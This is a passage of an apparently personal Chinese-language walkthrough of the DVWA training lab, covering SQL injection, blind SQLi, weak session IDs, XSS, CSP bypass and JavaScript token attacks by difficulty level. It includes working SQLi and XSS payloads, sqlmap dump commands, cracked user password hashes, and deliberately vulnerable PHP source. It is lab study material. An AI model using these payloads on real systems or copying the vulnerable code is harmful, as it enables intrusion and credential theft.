$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
$html .= "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
SQL Injection
难度:low
- 查看所有信息
输入: 1‘ or 1 = 1#
ID: 1' or 1 = 1#
First name: admin
Surname: admin
ID: 1' or 1 = 1#
First name: Gordon
Surname: Brown
ID: 1' or 1 = 1#
First name: Hack
Surname: Me
ID: 1' or 1 = 1#
First name: Pablo
Surname: Picasso
ID: 1' or 1 = 1#
First name: Bob
Surname: Smith
- 查看有多少列
输入: 1’ order by 3#
Unknown column '3' in 'order clause'
ORDER BY x语句用于对结果集的x字段进行排序。输入3后报错,说明获取到的信息是该数据表有两个字段
- 使用union爆破数据库
输入: -1’ union select 1, database()#
First name: 1
Surname: dvwa
- 获取账号密码
输入:1’ union select user,password from users#
ID: 1' union select user,password from users#
First name: admin
Surname: admin
ID: 1' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
难度:medium
由于这里不能直接语句输入,但可以采用抓包,我这里进入kali系统用burpsutie抓包分析看看
修改数据包:id=1 and 1 = 1&Submit=Submit
难度:high
这。。在新的界面输入内容,点击submit 和low差不多
扩展使用sqlmap工具
关于sqlmalp的使用教程:点击此处
- 查看数据库相关信息,添加语句–dbs(查看所有数据库的名称)
输入命令:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” –dbs –batch
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
- 添加 –current-db即可查看该数据库名称
输入命令:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” –current-db –batch
current database: 'dvwa'
- 列出dvwa数据库中全部表名
输入:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” -D dvwa –tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
- 解密所有账号并保存
输入:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” -D dvwa -T users -C user,password,user_id –dump
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+---------+
| user | password | user_id |
+---------+---------------------------------------------+---------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | 1 |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | 2 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | 3 |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | 4 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | 5 |
+---------+---------------------------------------------+---------+
SQL Injection (Blind)
盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注
一般分为:布尔盲注和时间盲注
难度:low
其实就是猜,使用二分法思想去猜
布尔盲注
1’ and length(database())=1#
1’ and length(database())=2#
1’ andlength(database())=3#
1’ and length(database())=4#
直至猜测长度为4时才返回正常结果
时间盲注
1’ and sleep(5)#
如果不是等待五秒而是马上显示 说明userID 不是数字型可能是字符型
Weak Session IDs
简单介绍一下session,当用户登录时,在服务器会生成一个session,之后想访问只需要带着session去访问即可。session作为用户访问站点的需要的唯一内容,绕过能够得到sessionID,那么攻击者将轻松得到访问权限。用户的session一般被加密保存在浏览器的cookie
难度:low
代码审计后可以得到以下信息:
- 如果没有 last_session_id ,则初始化设置为0
- 此后 last_session_id 累加,并且将last_session_id发送给浏览器端的cookie
- session比较有规律
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
使用火狐浏览器(前提还未登录过dvwa)的hackbar,利用上面的session_id规律制造payload
难度:medium
通过代码审计得到以下信息:
- 改进了low难度的session_id加一的规律性,使用将session_id改成了当前时间戳
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = time(); setcookie("dvwaSession", $cookie_value); } ?>
使用当前时间戳来构造payload
难度:high
通过代码审计得到以下信息:
- 改进了low难度的session_id加一的规律性,使用md5对session_id加密
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) { $_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++; $cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false); } ?>
难度:impossible
代码审计可以得到以下信息:
- session_id使用随机数+时间戳+固定字符串进行sha1运算,完全无法猜测
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
DOM Based Cross Site Scripting (XSS)
难度:low
地址栏后面加上
?default=<script>alert("xss")</script>
代码审计后发现:该难度后端没有php校验,执行命令只有客户端
难度:medium
从观察前端代码可知,可以通过闭合标签来执行我们想要的语句
<input type="submit" value="Select">
所以构造语句闭合标签,进行xss攻击,这里onerror作用是在装载文档或图像的过程中如果发生了错误,就会触发onerror事件,直接调用alert
></option></select><img src=1 onerror=alert(/xss/)>
代码审计发现: 对进行过滤
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
难度:high
这里难度升级,继续开始构造闭合,这里使用的是用#注释,由于form表单提交的数据,需要先经过JS过滤,所以后面注释部分的javascript代码不会被传到服务器端
?default=#<script>alert(/xss/)</script>
通过代码审计,查看源码发现设置了白名单,只有白名单中的内容才会被执行。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
Reflected Cross Site Scripting (XSS)
难度:low
直接在输入框输入,直接拿到cookie
通过代码审计发现,没有任何限制和过滤
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
难度:medium
构造payload,有两种:
1. <scr<script>ipt>alert(1)</script>
2. <SCript>alert(1)</SCript>
通过medium代码审计,可以发现该难度做了script标签处理,所以不能直接输入绕过。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
难度:high
由于服务端做了非常严格的过滤,payload构造相当困难,因此我们直接不使用script,转而使用其他产生xss
构造payload:
<img src=1 onerror=alert(document.cookie)>
通过high难度的代码审计可以发现,对script标签做了非常严格的过滤,使用了正则表达式
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
Stored Cross Site Scripting (XSS)
存储型XSS又叫持久型XSS,XSS代码被攻击者存储到服务器中,因此用户在访问含有存储型XSS代码的网站时就会被攻击。
难度:low
这里在前端做了长度限制,我们只需要修改maxlength,再输入payload即可
<input name="txtName" type="text" size="30" maxlength="10">
通过代码审计发现,有以下对输入内容检查与限制:
- trim()移除两侧空格
- mysql_real_escape_string()对特殊字符转义
- stripslashes()进行删除\
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
难度:medium
构造payload,有两种:
<scr<script>ipt>alert(1)</script>
<SCript>alert(1)</SCript>
注意修改数据包,将payload放入再发送:
通过代码审计可以发现,除了与low难度的处理一样以外,还做了对script过滤,构造payload和XSS反射型的medium难度一致
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
难度:high
构造payload和XSS反射型的medium难度一致,由于服务端做了非常严格的过滤,payload构造相当困难,因此我们直接不使用script,转而使用其他产生xss
注意修改数据包,构造payload放入再发送:
<img src=1 onerror=alert(document.cookie)>
通过代码审计可以发现,和XSS反射型的high难度一样,都是做正则化处理严格处理script,所以构造payload
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
Content Security Policy (CSP) Bypass
开发者在开发过程中设置了一个类似于白名单的策略,要信任某个页面,哪些外部资源可以执行,哪些不可以,这可以从根本上防御XSS,如果CSP配置的好,可以从根本上杜绝XSS
难度:low
抓包分析可以发现白名单,在pastebin.com写一个JavaScript脚本,生成链接后,再去dvwa执行即可。因为https://pastebin.com/是被信任的所以会执行,若不在白名单里是不会被执行的如下:
代码审计可以得到以下信息:
- 有以下外部资源可以被执行
- https://pastebin.com
- hastebin.com
- example.com
- code.jquery.com
- https://ssl.google-analytics.com
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
难度:medium
直接通过内联 JavaScript 代码,注入时直接令 nonce 为设定好的值即可。构造payload:
代码审计得到以下信息:
- nonce-source,仅允许特定的内联脚本块。
- 当csp有unsafe-inline时,受限于csp无法直接引入外部js
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
难度:high
构造payload:
include=
代码审计可以得到以下信息:
- 服务端不再设置白名单
- 在点击网页的按钮使 js 生成一个 script 标签,src 指向 source/jsonp.php?callback=solveNum。
- source/jsonp.php?callback=solveNum里面设置了一个solveNum函数,这里的script标签会把远程加载的solveSum({“answer”:”15”}) 当作 js 代码执行
服务端源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page['body'] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
客户端源码:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
JavaScript Attacks
难度:low
没有思路,所以先进行代码审计,发现无法输入什么,token都是8b479aefbd90795395b3e7089ae0dc09
所以只能抓数据包修改”success”对应的md5值:38581812b435834ebf84ebcc2c6424d6
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
难度:medium
代码审计可以得到以下信息:
- 生成token代码存放在客户端而不是服务器
- 跟low难度一样,先生成token抓包修改即可
服务端:
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>
客户端:
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
setTimeout(function() {
do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document
.getElementById("phrase").value + "XX")
}
先在控制台执行do_everything(“success”),然后抓包修改即可
难度:high
和前 2 个等级差不多,依次执行 token_part_1(“ABCD”, 44) 和 token_part_2(“XX”),最后点击提交执行 token_part_3()。
所以攻击步骤如下:
- 修改输入框内容为success
- 执行token_part_1,再执行token_part_2
- 最后点submit提交,其实也就是执行token_part_3
代码审计可以得到以下信息:
- 这个地方设了坑,让人以为执行顺序是:token_part_2 =》token_part_3=》token_part_1,其实是 token_part_1 =》token_part_2=》token_part_3
服务端:
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>
客户端代码:
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
impossible
这里感觉作者给我们开了个玩笑,也是一个警告,叫我们不要相信任何来自用户的东西或者阻止用户搞破坏
到这里就收尾了,断断续续这个平台我做了有一周时间了,基本上每天都投入不少时间在里边,希望自己能越来越强!